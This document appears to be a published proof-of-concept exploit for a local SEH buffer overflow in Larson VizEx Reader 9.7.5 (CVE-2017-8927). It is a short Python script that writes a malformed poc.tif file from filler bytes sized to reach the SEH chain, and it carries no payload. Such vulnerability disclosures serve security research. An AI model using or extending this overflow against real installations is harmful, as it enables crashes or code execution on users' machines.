Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

#!/usr/bin/python

# Exploit Title     : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)

# Date              : 14/05/2017

# Exploit Author    : Muhann4d

# CVE				: CVE-2017-8927

# Vendor Homepage   : http://www.cgmlarson.com/

# Software Link     : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html

# Affected Versions : 9.7.5   

# Category          : Denial of Service (DoS) Local

# Tested on OS      : Windows 7 Professional SP1 32bit

# Proof of Concept  : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5



# Vendor has been cantacted but no reply



buf = "\x41" * 800

buff = "\x42" * 4

bufff = "\x43" * 4

buffff = "\x44" * 9999

f = open ("poc.tif", "w")

f.write(buf + buff + bufff + buffff)

f.close()